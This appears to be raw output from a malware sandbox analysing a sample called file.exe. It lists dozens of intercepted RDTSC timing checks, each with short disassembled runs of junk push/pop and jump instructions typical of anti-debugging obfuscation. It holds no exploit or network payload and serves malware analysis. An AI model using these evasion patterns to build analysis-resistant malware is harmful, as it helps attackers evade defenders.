Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1420555 second address: 1420570 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAE903A977h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1420570 second address: 1420588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b jne 00007FFAE9061D66h 0x00000011 pop ecx 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 push esi 0x00000016 pop esi 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142083C second address: 1420875 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jns 00007FFAE903A966h 0x0000000d pop eax 0x0000000e push esi 0x0000000f jmp 00007FFAE903A974h 0x00000014 pop esi 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 jc 00007FFAE903A966h 0x0000001f push edi 0x00000020 pop edi 0x00000021 push esi 0x00000022 pop esi 0x00000023 jbe 00007FFAE903A966h 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1420B70 second address: 1420B91 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FFAE9061D7Ch 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1420B91 second address: 1420B97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14213C7 second address: 14213D1 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FFAE9061D66h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14292A3 second address: 14292BF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FFAE903A966h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FFAE903A970h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142940C second address: 1429411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14296B7 second address: 14296D8 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FFAE903A966h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jno 00007FFAE903A966h 0x00000015 pushad 0x00000016 popad 0x00000017 jnc 00007FFAE903A966h 0x0000001d popad 0x0000001e push ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14296D8 second address: 14296DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14299C4 second address: 14299E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAE903A976h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14299E3 second address: 14299E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14299E9 second address: 14299ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14299ED second address: 14299F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14299F1 second address: 1429A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAE903A96Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FFAE903A979h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FFAE903A96Fh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1429A32 second address: 1429A36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1432E50 second address: 1432E72 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FFAE903A966h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007FFAE903A968h 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007FFAE903A96Bh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1432E72 second address: 1432E79 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14310B7 second address: 14310BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14310BB second address: 14310E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAE9061D6Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FFAE9061D73h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14310E4 second address: 14310E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143120E second address: 1431212 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1431212 second address: 143122C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007FFAE903A972h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14314CF second address: 14314D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14314D5 second address: 14314DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14314DF second address: 14314E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1431671 second address: 143167B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143167B second address: 143167F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143167F second address: 1431685 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14317FE second address: 1431812 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FFAE9061D6Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1431812 second address: 1431825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007FFAE903A966h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1431825 second address: 1431839 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jno 00007FFAE9061D6Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1431E88 second address: 1431E98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFAE903A96Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1431E98 second address: 1431EA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1431EA1 second address: 1431EA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1436185 second address: 14361AC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FFAE9061D70h 0x0000000b push edx 0x0000000c jmp 00007FFAE9061D6Dh 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14361AC second address: 14361B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144152C second address: 144153D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAE9061D6Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144153D second address: 1441541 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1441541 second address: 1441547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1441547 second address: 1441576 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FFAE903A971h 0x0000000b push ecx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FFAE903A971h 0x00000013 pop ecx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1441576 second address: 144157C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1448AE9 second address: 1448AF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14484FC second address: 1448513 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FFAE9061D6Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1448513 second address: 1448521 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FFAE903A96Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144865C second address: 1448660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144CDE2 second address: 144CDEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144CDEF second address: 144CDFF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007FFAE9061D68h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1376447 second address: 137644D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137644D second address: 1376453 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1376453 second address: 137645F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137645F second address: 1376463 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1376463 second address: 1376481 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 ja 00007FFAE903A96Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 jng 00007FFAE903A966h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1457317 second address: 145731C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145D618 second address: 145D63A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAE903A973h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c jc 00007FFAE903A97Bh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145D63A second address: 145D64D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAE9061D6Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145D4CA second address: 145D4D4 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FFAE903A966h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145D4D4 second address: 145D4DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145D4DA second address: 145D4E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jp 00007FFAE903A966h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1465A39 second address: 1465A3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1465A3D second address: 1465A59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FFAE903A966h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d push ebx 0x0000000e pushad 0x0000000f jmp 00007FFAE903A96Bh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1464735 second address: 1464739 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1464739 second address: 146473F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14648B1 second address: 14648B7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14648B7 second address: 14648BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14648BE second address: 14648F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FFAE9061D78h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FFAE9061D72h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14648F7 second address: 14648FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14648FB second address: 146492D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FFAE9061D8Ch 0x0000000c jmp 00007FFAE9061D75h 0x00000011 jmp 00007FFAE9061D71h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146492D second address: 1464939 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1464939 second address: 146493D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1464AAC second address: 1464ABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jc 00007FFAE903A966h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1464DA7 second address: 1464DC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FFAE9061D76h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1464DC6 second address: 1464DCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1468220 second address: 1468241 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FFAE9061D79h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146AFE1 second address: 146AFFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAE903A970h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop esi 0x0000000d push eax 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146AFFE second address: 146B00A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146AB92 second address: 146AB9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FFAE903A966h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14790A2 second address: 14790E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FFAE9061D66h 0x0000000a popad 0x0000000b jmp 00007FFAE9061D76h 0x00000010 pop esi 0x00000011 pushad 0x00000012 jnl 00007FFAE9061D68h 0x00000018 jmp 00007FFAE9061D74h 0x0000001d push eax 0x0000001e push edx 0x0000001f jnc 00007FFAE9061D66h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14790E9 second address: 14790ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1476317 second address: 1476338 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAE9061D76h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14887BB second address: 14887D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAE903A973h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14887D2 second address: 14887D7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14884E1 second address: 14884EE instructions: 0x00000000 rdtsc 0x00000002 jl 00007FFAE903A966h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149768C second address: 14976A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FFAE9061D66h 0x0000000a pop esi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FFAE9061D6Fh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14976A9 second address: 14976B7 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FFAE903A966h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14976B7 second address: 14976BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14976BB second address: 14976C9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FFAE903A96Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14976C9 second address: 14976E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FFAE9061D78h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1497941 second address: 149794E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1499B81 second address: 1499B85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149C5F5 second address: 149C5FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149C5FA second address: 149C617 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAE9061D73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149C668 second address: 149C687 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FFAE903A966h 0x00000009 ja 00007FFAE903A966h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 pushad 0x00000014 push ebx 0x00000015 jne 00007FFAE903A966h 0x0000001b pop ebx 0x0000001c push ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149C687 second address: 149C6B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 nop 0x00000007 adc dl, FFFFFFA1h 0x0000000a push 00000004h 0x0000000c sub dword ptr [ebp+122D1EDFh], edi 0x00000012 call 00007FFAE9061D69h 0x00000017 push eax 0x00000018 push edx 0x00000019 je 00007FFAE9061D6Ch 0x0000001f jnp 00007FFAE9061D66h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149C6B0 second address: 149C6B5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149C6B5 second address: 149C6D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007FFAE9061D77h 0x00000010 jmp 00007FFAE9061D71h 0x00000015 rdtsc
